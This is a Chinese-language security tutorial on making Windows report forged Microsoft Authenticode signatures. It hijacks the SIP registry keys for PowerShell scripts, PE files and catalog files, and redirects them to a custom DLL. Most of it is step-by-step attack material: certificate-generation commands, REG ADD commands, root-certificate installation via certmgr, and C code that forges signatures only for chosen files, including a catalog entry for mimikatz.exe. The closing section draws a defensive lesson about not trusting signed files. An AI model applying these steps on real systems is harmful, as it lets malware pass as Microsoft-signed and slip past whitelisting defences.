Authenticode签名伪造——针对文件类型的签名伪造
0x00 前言
在上篇文章《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》介绍了针对单一文件的Authenticode签名伪造,需要在文件尾部添加伪造的签名数据,这次将介绍另一种签名伪造方式:通过修改系统的签名获取机制,欺骗系统将正常文件识别为包含签名数据。
注:
本文介绍的技巧参考自Matt Graeber@mattifestation公开的资料,本文将结合自己的经验,整理相关内容,添加个人理解。
参考资料:
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf
http://www.exploit-monday.com/2017/08/application-of-authenticode-signatures.html
https://drive.google.com/file/d/0B-K55rLoulAfNms1aW1rbXF1Tmc/view
0x01 简介
本文将要介绍以下内容:
- 针对powershell脚本的签名伪造方法
- 针对PE文件的签名伪造方法
- 针对其他类型文件的签名伪造方法
- 添加代码实现对特定文件的签名伪造
0x02 针对powershell脚本的签名伪造方法
前提是powershell脚本需要包含一个签名(自己生成的签名会被识别为无效),下面介绍如何将该无效签名伪造成有效的微软签名
生成测试证书:
makecert -n "CN=Microsoft Windows Test1" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cer
cert2spc certtest.cer certtest.spc
pvk2pfx -pvk certtest.pvk -pi 123456 -spc certtest.spc -pfx certtest.pfx -f
不需要注册该证书
注:
使用makecert.exe要加参数: -eku 1.3.6.1.5.5.7.3.3
否则提示证书无法用于代码签名,具体错误如下:
Set-AuthenticodeSignature : Cannot sign code. The specified certificate is not
suitable for code signing.
如下图
给powershell脚本签名:
$cert = Get-PfxCertificate certtest.pfx
Set-AuthenticodeSignature -Filepath 1.ps1 -Cert $cert
验证证书:
Get-AuthenticodeSignature .\1.ps1
提示UnknownError
,表示文件签名无效
如下图
修改注册表,命令如下:
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{603BCC1F-4B59-4E08-B724-D2C6297EF351}" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f
再次验证:
Get-AuthenticodeSignature .\1.ps1
显示Valid
,签名有效
如下图
注:
不同系统下相同名称的文件签名不同
AFDD80C4EBF2F61D3943F18BB566D6AA6F6E5033
为Matt Graeber测试系统中的notepad.exe签名hash
现在在我们自己的系统进行测试:Win10 x64
分别获取notepad.exe的签名信息:
Get-AuthenticodeSignature c:\windows\system32\notepad.exe
sigcheck -i C:\Windows\System32\notepad.exe
可以发现sigcheck的输出内容中,Thumbprint
对应文件签名hash,如下图
接下来,将测试系统改为Win7 x86
在Win7下使用Get-AuthenticodeSignature
无法获得notepad.exe的签名信息(catalog签名)
如下图
但可以通过sigcheck获得,如下图
hash为:018B222E21FBB2952304D04D1D87F736ED46DEA4
定位cat文件路径:C:\Windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\ntexe.cat
.cat文件保存格式为ASN.1标准,直接通过记事本无法查看,需要解密,在线网址如下:
选择cat文件后即可解密显示完整格式
格式解析可参考:
https://support.microsoft.com/en-us/help/287547/object-ids-associated-with-microsoft-cryptography
将该文件替换PoCSubjectInterfacePackage工程中的MS_cert.bin
,重新编译
配置注册表
打开一个新的cmd,查看powershell脚本签名:
Get-AuthenticodeSignature .\1.ps1
同sighcheck获取的hash值保持一致,如下图
powershell脚本的Authenticode签名伪造成功
对以上操作直观的理解:
该方法是通过修改系统证书验证过程,使文件将指定的catalog签名作为自己的Authenticode签名
当然,所有带签名的powershell脚本均会统一成hash为018B222E21FBB2952304D04D1D87F736ED46DEA4
的签名,这就带来了一个问题:这样会影响正常系统文件的签名校验
我们可以看到,通过这种方式伪造的签名会作用于所有powershell脚本,那么,我们能否针对特定powershell脚本作伪造呢?
以Matt Graeber开源的工程PoCSubjectInterfacePackage作为模板进行修改,下载地址如下:
https://github.com/mattifestation/PoCSubjectInterfacePackage
重点关注函数GetLegitMSSignature
,在线地址:
https://github.com/mattifestation/PoCSubjectInterfacePackage/blob/master/MySIP/MySIP.c#L138
查看结构SIP_SUBJECTINFO *pSubjectInfo
的参数说明,地址如下:
https://msdn.microsoft.com/en-us/library/windows/desktop/bb736434(v=vs.85).aspx
pwsFileName
和pwsDisplayName
均能够表示文件名称,所以可通过MessageBox
进行验证
函数GetLegitMSSignature
内添加如下代码:
MessageBox (NULL, pSubjectInfo->pwsFileName, pSubjectInfo->pwsDisplayName,0);
进行测试,成功获得传入文件名,如下图
接下来的思路:
对传入的文件名称进行判断,满足条件的文件加载对应的catalog签名,最终实现对特定文件的签名伪造
筛选文件的代码如下:
if(lstrcmpi((LPCTSTR)pSubjectInfo->pwsFileName,L"C:\\test\\cer\\1.ps1")==0)
{
MessageBox (NULL,L"Get selected file", (LPCTSTR)pSubjectInfo->pwsFileName,0) ;
}
完整代码可参考:
https://raw.githubusercontent.com/3gstudent/test/master/MySIP.c
当前文件为C:\test\cer\1.ps1
时,符合条件,进行签名伪造,否则放弃
测试如下图
成功实现对特定文件的签名伪造,这种方式的优点是不需要在文件尾部添加Authenticode签名,不改变文件hash
当然,这仅仅是一个POC,还要对系统文件的签名验证做判断
0x03 针对PE文件的签名伪造方法
参考这个列表:
- C689AAB8-8E78-11D0-8C47-00C04FC295EE - PE
- DE351A43-8E59-11D0-8C47-00C04FC295EE - catalog .cat文件
- 9BA61D3F-E73A-11D0-8CD2-00C04FC295EE - CTL .ctl文件
- C689AABA-8E78-11D0-8C47-00C04FC295EE - cabinet .cab文件
如果替换exe文件的校验,即CryptSIPDllVerifyIndirectData
和CryptSIPDllGetSignedDataMsg
,命令如下:
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f
重启explorer.exe,所有的exe文件都包含hash为:018B222E21FBB2952304D04D1D87F736ED46DEA4
的签名
特别的地方:伪造的签名来自于cat文件,但是会以Authenticode签名的格式显示,通过文件属性能够看到签名信息(这是Authenticode签名的特性,catalog签名不具有该特性)
同样,修改原工程能够实现针对特定PE文件的签名伪造,方法不再赘述
0x04 针对cat文件的签名伪造方法
如果对所有.cat文件的签名验证过程进行替换,再将其添加到安全编录数据库中,那么,包含catalog签名的PE文件是否也随即获得伪造签名呢?
下面开始测试:
新建文本文档cat.txt,内容如下:
[CatalogHeader]
Name=makecat1.cat
[CatalogFiles]
<hash>ExeFile1=mimikatz.exe
注:
txt文件尾部需要一个空行,否则,在接下来的操作会报错,提示文件无法找到
使用makecat.exe生成makecat1.cat:
makecat -v cat.txt
为makecat1.cat添加伪造的Authenticode签名:
signtool sign /f certtest.pfx /p 123456 makecat1.cat
注:
certtest.pfx不能使用之前手动生成的证书,不能加参数: -eku 1.3.6.1.5.5.7.3.3
,否则exe文件的catalog签名将会校验失败
生成certtest.pfx的操作如下:
makecert -n "CN=Microsoft Windows Test1" -r -sv certtest.pvk certtest.cer
cert2spc certtest.cer certtest.spc
pvk2pfx -pvk certtest.pvk -pi 123456 -spc certtest.spc -pfx certtest.pfx -f
此处还需要将证书安装到“受信任的根证书颁发机构”存储区
管理员权限:
certmgr.exe -add -c certtest.cer -s -r localmachine root
否则,之后的签名验证会报错,提示证书链不可信
补充:
从“受信任的根证书颁发机构”存储区删除证书的操作为:
(管理员权限)
certmgr.exe -del -c -n "Windows Test1" -s -r localMachine Root
cat文件对应GUID:DE351A43-8E59-11D0-8C47-00C04FC295EE
替换注册表键值:
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A43-8E59-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{DE351A43-8E59-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "AutoApproveHash" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\test\MySIP.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{DE351A43-8E59-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "GetLegitMSSignature" /f
重启explorer.exe,所有的cat文件签名均为Microsoft Windows
将makecat1.cat添加到系统的安全编录数据库:
(管理员权限)
signtool catdb -v makecat1.cat
最终,发现文件的catalog签名保持不变,无法进行伪造
得出结论: 这种方式无法对catalog签名进行伪造
0x05 小结
本文介绍了Authenticode签名伪造的另一种利用方法:通过修改系统的签名获取机制,欺骗系统将正常文件识别为包含签名数据。
经过这两篇文章的测试,得出最终结论:应谨慎对待系统的Authenticode签名,因为通过修改注册表或dll劫持等方式均能够伪造出微软签名,对此,白名单等防御机制不应盲目相信Authenticode签名过的文件。